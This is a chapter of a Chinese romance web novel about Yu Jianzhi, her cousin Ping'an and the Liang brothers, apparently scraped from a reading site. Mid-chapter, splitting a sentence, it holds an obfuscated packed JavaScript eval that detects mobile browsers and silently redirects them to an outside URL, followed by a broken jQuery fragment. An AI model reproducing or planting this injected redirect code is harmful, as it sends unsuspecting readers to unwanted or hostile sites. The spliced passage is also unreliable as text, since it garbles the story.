21. 大寒

作品:《在初雪降临的冬夜

    余简之带走了那本相册。


    她嗓子还没好利索,余平安也没可怜她,自顾自地煮了好大一锅红油热辣的火锅,一个人享受。余简之吃了点清汤煮的。


    “恭喜平安又有新收入!迟早在北京扎根,财源广进发大财!”


    余简之举起水杯,碰了碰平安的酒杯,叮嘱她:“你不要喝多哦,我还是病人,可没法照顾醉鬼。”


    余平安偏头,亲昵地在她肩头蹭蹭:“我酒量你放心好不好。”


    病没好全,余简之没什么胃口,吃了点就放下筷子。她看着余平安大快朵颐的样子发了会呆,然后翻开了膝头的相册。她刻意跳过那些有梁怀聿的页面,只挑出自己和余平安的合照。


    余平安只来北京来过两次,而她年年都来。因此,当余平安说,她得到的永远更多时,余简之无法反驳。


    她用手肘轻轻碰了碰身旁的人,“平安,你看这张。”


    余平安淡淡扫一眼,手夹着筷子,翻到下一页,露出她和梁怀聿的合照。


    余简之的脸腾地红了:“拜托……”


    “所以要听文容哥的吗?去和好?”


    余简之摇摇头:“我做不到只把他当哥哥。也许……当初他给我的选择是正确的,要么更进一步,要么永不相见。”


    她说起今天她离开文容的办公室,她和梁怀聿在走廊遇见。


    余简之假装没看见,一个劲地往前走,梁怀聿跟上她,目光落在她手里的相册上。


    “好点了?”他问,声音是一如既往的温和。


    终究做不到彻底无视,她答得规矩而疏离:“好多了,谢谢哥哥。”


    然后,便擦肩而过。


    “不然呢?”余平安反问她,“你还想怎样?”


    余简之低声咕哝:“我讨厌他的眼神。”


    多了份愧疚,多了份思量,少了份爱怜。


    “毛病。”余平安评价道。


    进入一月中旬,余平安收入翻了番——寒假到了。


    她讲课认真,口碑在学生家长间传开。因第一位介绍人便是家境优渥的家长,后来找上门的雇主也多是经济宽裕的家庭,开出的时薪颇为可观。折算下来,月收入已达到了余平安曾经梦寐以求的数字。


    余简之对着计算器噼里啪啦算了一通,哀叹:“啊!我现在转行做家教还来得及吗?”


    人总是得寸进尺,余平安叹气:“可是你的工作有六险一金。”


    余简之啧啧:“你这就是鼠目寸光了,自己当老板,自己给自己交,不是更爽?”


    “灵活就业很贵的哎。”


    “我是说,将来你可以自己开个培训机构呀?做大做强?”


    “想得太美了!”


    “人总要有目标嘛!”


    有钱人照样鸡娃,甚至有除夕前晚还要上课的可怜小学生,最早一节的则安排在初五。身为打工人可说不出指责的话,毕竟这是余平安的金主妈咪。


    余简之问:“那咱们还回去过年么?”


    余平安犹豫片刻,随即下定决心:“不了。”来回机票不菲,老家交通也不便,何况她来北京没多久。


    余简之本来不想劝她,这个决定随便她做就好,想了想还是劝着说:“不行,我得回去一趟。我都多久没回去啦,得去看看叔叔阿姨才行。”


    “好吧,也对。但是没必要凑春节这个热闹,晚点回去?”余平安怕她不答应,劝道,“只要我们一家人在一起,就是过年。”


    余简之点点头。


    “对了……”余平安欲言又止,在余简之疑惑的目光中还是说出来了,“简之,你以前过年不是都会和怀聿哥一起吗?今年呢?”


    余简之觉得好笑:“我现在怎么和他一起?”


    话出口,她自己先沉默下来,伸手抱住余平安的胳膊,怔怔地发起呆,不一会儿,眼泪无声地滑落。


    “早知道我不该那么冲动……我不该说那些的,现在好,妹妹也做不成了。”


    梁怀聿再未踏足过营销部。她,连带整个项目小组,都像是被公司抛弃。连林芝韵都在群里抱怨过一句,公司对这个项目越来越不上心了。


    来不及对同事内疚,余简之对自己的懊恼就已满溢。


    余简之叹着气,揉了揉脸颊:“生病真的会降低阈值。至少我的羞耻心被削弱了。”


    “有什么不好?”面对别人的事情,大多数人都是乐观派,比如此刻的余平安,“迟早要说清楚的。你难道甘愿一辈子当他妹妹?”


    “当他妹妹或永不相见,”余简之苦笑,“哥哥好似只给了我这两个选择。”


    永不相见,永远比她想象中艰难百倍。


    余平安轻轻敲了敲她的额头:“你又不是非听他的不可,我就不信你打算听他的。”


    余简之摇了摇头:“以后再说吧。”


    虽然是两个人过年,但该有的年味不能少,两人趁着离春节还有段时间,周末去超市采购。


    凑巧碰上梁景翊,年底工作忙,余简之与他很久没联系。梁景翊拿着一袋手指饼干袋,戳了戳余简之的鼻尖,隔着白色口罩。


    “干嘛戴个口罩?颜值都被封印了。”


    “因为我有良心,不想传染给你们。”


    “感冒了?”


    “嗯。”感冒已经好了,却落了点后遗症,吸了冷空气就有点咳嗽,她只好全天戴着口罩。


    “那得注意,彻底入冬了,你穿厚点呀。”


    余简之“哦”了一声。


    “过几天谦南回国,有个聚会,你来吗?”


    李谦南是梁景翊的朋友,在美国时余简之和他们一起玩过几次。


    “不。”余简之拒绝得干脆,虽然她不讨厌梁景翊的朋友们,但她认为见他朋友,是女友该做的事,现在她不是了,没这个必要。


    梁景翊立刻说:“悠米也来哦。”


    余简之心下一动。她和李谦南的交往是建立在他是梁景翊的朋友之上,而她和悠米的交往并不是。


    “她回国啦?”


    “回来过年呀。笨。所以来吗?”


    余简之故作矜持:“我考虑一下。”


    梁景翊微笑看向余平安:“姐姐也可以来哦。”


    余平安拒绝同样干脆:“我不去。”


    与梁景翊分别后,余平安劝她:“你去玩呗,在家闷多久啦,去散散心。”


    不久,梁景翊电话追来:“来不来?快决定好。”


    余简之眨眨眼:“我已经跟悠米说了我要去呀。”她担心梁景翊诓她,直接绕过他联系了悠米,确定悠米会去后,她立刻决定要参加。


    “哎呀,余简之,你现在好不要脸啊!”梁景翊在电话那头叫起来。


    余简之在电话这头笑得开怀。


    梁景翊感觉被将了一军,听着她的笑声更觉如此,又气不过地“骂”了几句,才挂断电话。


    放下手机,他忽然感觉背后有点凉。缓缓侧过头,梁怀聿站在贴近客厅的走廊,静静地看着他,不知多久。


    两人视线对上,梁怀聿开口道:“来下书房。”随后他撤身上楼。


    梁景翊心下一惊,他刚刚叫了好多声余简之的名字,哥哥必定听见。


    当初父母去世后,偌大的房子对兄弟俩来说太空旷,满满的回忆又将生活空间迫满,梁怀聿很快带着弟弟搬了家,但两


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282735|197269||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人隔三差五还是会来老宅居住。


    一来房子隔段时间不住,就会老旧,二来梁怀聿也希望能和弟弟保持着健康的联系。这段时间,刚巧是他们同住这边的时候。


    梁景翊放下手机,小跑上楼:“哥?”


    书房门开着,梁景翊进去看见梁怀聿背对着他站在窗前,即便梁怀聿看不见,梁景翊依然狗腿地堆出笑脸,因为从小到大他时常在书房被哥哥教训。


    书房等于挨骂,梁景翊心里有这么一个等式。


    不过,挨骂归挨骂,哥哥很少真正动怒。作为一位年轻的监护人,他并不古板,甚至相当开明,再加上那么点不易察觉的弟控倾向,梁景翊从小可以说完全是被溺爱长大的,只要他完成了哥哥安排的任务,其余的事只要不违法乱纪,皆可以随心所欲。


    “和余简之没有分手吗?”


    “啊?”


    梁景翊没想到会是这个问题。


    “啊什么?”


    “啊?没啊什么……呃哥你怎么还想着这件事啊?”


    “我早前说过,希望你们分手。所以,是没分?”


    可以见风使舵说“我们已经分手了”,可梁景翊并不想就这么结束争吵。否则未来还会有无休止的争吵。


    他喜欢余简之,尽管上次他求和被拒,可身为天之骄子的他,内心始终认为结局会如他所愿。


    “哥,你到底是对简之哪里不满意?我还是不懂。家庭?学历?外貌?性格?简之可能只有家境不算优越……可我们家足够有钱了,我不觉得这构成问题。”


    梁景翊罕见地认真起来,语气诚恳,“哥哥,我是真的很爱余简之,和之前那些不一样。哥你到底在意的是哪些呢?我想知道我能不能改变。”


    梁怀聿旋过身看他,确定弟弟脸上是与话语相匹配的认真神情。


    但他还是有些不愿相信地说:“你再说一遍。”


    梁景翊咬了咬牙,认真且郑重地重复:“我是真的喜欢余简之!”


    梁怀聿默了片刻,在梁景翊准备再次开口前,他抬手止住,微微地叹了口气。


    “那她呢?”


    梁景翊愣了一瞬,有些尴尬地笑:“哈……简之当然对我也是一样啊。”


    怎会不了解自己的亲弟弟,梁怀聿看着他的笑容,撒谎时惯以用来掩盖心慌。


    他没有深究这个回答,转而问:“你们最近感情还好吧?”


    不明白这个话题怎么会绕到这个上面,梁景翊更不明白对他感情不甚在意的哥哥这次怎么会突然这么关心。


    他挠挠头:“挺好呀。哎呀,刚刚电话那些都是开玩笑啦,真正的恋人都是开得起玩笑的。”


    梁怀聿没再说什么,只是说:“梁景翊,你有钱,生活对你而言很简单,选择很多,不必将就。”


    梁景翊赶紧表态:“没将就,我真的很喜欢她。”


    你喜欢她,但她不喜欢你。这句话卡在喉咙里,上不去,下不来,最终化为不置可否,“前阵子去美国了?”


    话题陡然一转,梁景翊“啊”了一声才答:“对。”


    元旦后他去了趟美国,见朋友。


    “喜欢那边的生活吗?如果将来考虑定居美国,你愿意吗?”


    “怎么突然问这个?”


    之前梁景翊有过这些想法,但是梁怀聿态度强硬,希望他留在国内,待在身边,图个安心。


    梁怀聿沉吟道:“你长大了,该有自己的选择。如果你喜欢那里的环境,可以考虑过去分公司历练几年。”


    他停顿了一下,像是经过思量,才用平静的语气补充道:


    “……如果简之愿意,也可以一起安排。”